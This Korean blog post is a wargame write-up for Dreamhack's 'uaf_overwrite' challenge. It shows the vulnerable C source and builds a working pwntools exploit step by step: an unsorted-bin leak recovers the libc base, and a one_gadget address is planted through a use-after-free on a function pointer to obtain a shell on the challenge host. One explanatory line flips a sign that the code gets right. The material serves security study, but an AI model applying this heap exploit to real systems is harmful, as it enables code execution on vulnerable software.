Linux Exploitation/Wargame

[드림핵(Dreamhack)] uaf_overwrite

Rosieblue 2023. 6. 20. 20:10
728x90

⬇ 사용한 배경지식 ⬇

[Heap] Memory Corruption : Use After Free(UAF) (1)
[Heap] Exploitation : Unsorted Bin Memory Leak
 

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};
//Human 구조체와 Robot 구조체 크기 동일

//전역변수 human,romot,custom,c_idx (BSS에 저장)
struct Human *human;
struct Robot *robot;
char *custom[10]; //포인터 배열
int c_idx;

//로봇 이름 출력하는 함수
void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}


void human_func() {//malloc->멤버변수받기->free하는 함수
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human)); //malloc
  strcpy(human->name, "Human"); //human->name="Human"
  printf("Human Weight: "); 
  scanf("%d", &human->weight); //weight 사용자 입력
  printf("Human Age: ");
  scanf("%ld", &human->age); //age 사용자 입력
  free(human); //free
}


void robot_func() { //malloc->멤버 변수 입력->fptr 실행->free
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot)); //malloc
  strcpy(robot->name, "Robot"); //robot->name="Robot"
  printf("Robot Weight: ");
  scanf("%d", &robot->weight); //weight 사용자 입력
  if (robot->fptr) //fptr가 NULL이 아니면 fptr 가리키는 함수 넣음
    robot->fptr();
  else
    robot->fptr = print_name; //fptr가 NULL이면 fptr에 print_name(로봇이름 출력함수) 대입
  robot->fptr(robot); //fptr(robot) 실행
  free(robot); //free
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }
  printf("Size: ");
  scanf("%d", &size);
  if (size >= 0x100) {
    custom[c_idx] = malloc(size); 
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    printf("Data: %s\n", custom[c_idx]);
    printf("Free idx: ");
    scanf("%d", &idx);
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }
  c_idx++;
}

int main() {
  int idx;
  char *ptr;
  
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  
  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

 
1. 원가젯 삽입을 위한 라이브러리 주소 구하기

Unsorted Bin Memory Leak 이용 (처음 연결되는 청크가 main arena 주소와 연결되는 점)

-> malloc, malloc, free, malloc 필요
(앞에 malloc 두번 필요한 이유? malloc 한 번만 하고 바로 free하면 top chunk와 병합됨. 그런데 top chunk은 어느 bin에 속하지도 않기 때문에 unsorted bin 취약점을 이용할 수 없음)

def custom(size: int,data,idx: int):
    p.sendline(str(3))
    p.sendlineafter("Size: ",str(size))
    p.sendafter("Data: ",data)
    print(u64(p.recvline[-7:-1])) #Data 출력
    p.sendlineafter("Free idx: ",str(idx))

-> custom(size,data,idx)라고 하면

custom(1280,b"AAAA",-1); #malloc
custom(1280,b"BBBB",0); #malloc & free
custom(1280,b"a",-1); #main arena 정보 읽기 (fd 맨 앞자리 a으로 덮힌 거 유의)

 
테스트해보니 아래처럼 잘 나왔다
 

맨 아래 데이터만 보면 된다. 우리가 a로 맨앞을 덮어서 얘가 a도 같이 출력됐다

참고로 printf("%s",~~~) 이렇게 하면 그냥 순서대로? 읽는 것 같다!!!!

참고로 fd의 맨 마지막 바이트(우리가 a로 덮은)은 몰라도 상관없다. 왜냐하면 페이징 기법때문에 라이브러리의 첫 주소는 항상 00이기 때문이다!!

조금 수정해줬다.

from pwn import *

p=remote("host3.dreamhack.games",8330)

main_arena_offset=0x3ebc40
one_shot=[0x4f3d5,0x4f432,0x10a41c]

def custom(size: int,data,idx: int):
    p.sendline(str(3))
    p.sendlineafter("Size: ",str(size))
    p.sendafter("Data: ",data)
    fd=u64(p.recvline()[-7:-1].ljust(8,b'\x00'))
    p.sendlineafter("Free idx: ",str(idx))
    return fd #fd 출력

custom(1280,b"AAAA",-1) #malloc
custom(1280,b"BBBB",0) #malloc & free
fd=custom(1280,b"a",-1) #하위 한 바이트가 overwrite된 fd

arena_1byte=main_arena_offset&0xff
fd_1byte=fd&0xff #input='a'였으면 0x61

lib=fd-fd_1byte+arena_1byte-main_arena_offset
og=lib+one_shot[2]

print(lib)

 
메인 아레나 오프셋 구하기는 아래 참고
https://juntheworld.tistory.com/87

 

main_arena offset 구하기

main_arena는 heap영역에서 해제된 청크가 Unsorted bin에 처음 등록될때 FD와 BK가 가리키고 있는 영역이다. Use After Free와 같은 취약점을 이용해서 일부러 해제시킨 청크를 그대로 다시 할당하면 FD와 BK

juntheworld.tistory.com

 

암튼 0x3ebc40 이랜다.
 
 
오프셋 구하기
arena_1byte=main_arena_offset&0xff
fd_1byte=fd&0xff #input='a'였으면 0x61

lib=fd-fd_1byte+arena_1byte+main_arena_offset
에서 fd-fd_1byte하면 0x00으로 끝나는 값이 될거고 거기다 arena_1byte 더해주면 찐 fd가 나올거다(arena_1byte를 저렇게 계산해준 이유는 하위 1byte는 항상 일정하니까 !!!!!!) 암튼 거기다 main_arena_offset 더한거다 ㅇㅇ
 

 

https://tall-anteater-274.notion.site/uaf_overwrite-8ce9fc806c8d48f89009603df969e894?pvs=4  <-노션에 대충 정리해놓음 내가 ㅇㅇ

 

uaf_overwrite

// Name: uaf_overwrite.c // Compile: gcc -o uaf_overwrite uaf_overwrite.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> struct Human { char name[16]; int weight; long age; }; struct Robot { char name[16]; int weight; void (

tall-anteater-274.notion.site

def human(weight,age):
	p.sendlineafter("> ",str(1))
	p.sendlineafter("Human Weight: ",str(weight))
	p.sendlineafter("Human Age: ",str(age))

def robot(weight)
	p.sendlineafter("> ",str(2))
	p.sendlineafter("Robot Weight: ",str(weight))

human(0,og) //이거 og 보내주는거 헷갈림 
#scanf는 str(int)로 보내면 알아서 정수로 저장함
#og는 int꼴이고 얘가 알아서 메모리 내에서 16진수꼴로 잘 저장되게됨

robot(1)
p.interactive()

 

 

 

최종코드는 따라서

from pwn import *

main_arena_offset=0x3ebc40
one_shot=[0x4f3d5,0x4f432,0x10a41c]
p=remote("host3.dreamhack.games",8260)


def custom(size: int,data,idx: int):
    p.sendline(str(3))
    p.sendlineafter("Size: ",str(size))
    p.sendafter("Data: ",data)
    fd=u64(p.recvline()[-7:-1].ljust(8,b'\x00'))
    p.sendlineafter("Free idx: ",str(idx))
    return fd #fd 출력

def human(weight,age):
        p.sendlineafter("> ","1")
        p.sendlineafter("Human Weight: ",str(weight))
        p.sendlineafter("Human Age: ",str(age))

def robot(weight):
        p.sendlineafter("> ",str(2))
        p.sendlineafter("Robot Weight: ",str(weight))


custom(1280,b"AAAA",-1) #malloc
custom(1280,b"BBBB",0) #malloc & free
fd=custom(1280,b"a",-1) #하위 한 바이트가 overwrite된 fd

arena_1byte=main_arena_offset&0xff
fd_1byte=fd&0xff #input='a'였으면 0x61

lib=fd-fd_1byte+arena_1byte-main_arena_offset
og=lib+one_shot[2]
#scanf는 str(int)로 보내면 알아서 정수로 저장함
#og는 int꼴이고 얘가 알아서 메모리 내에서 16진수꼴로 잘 저장되게됨


print(lib)
human(0,og)
robot(1)
p.interactive()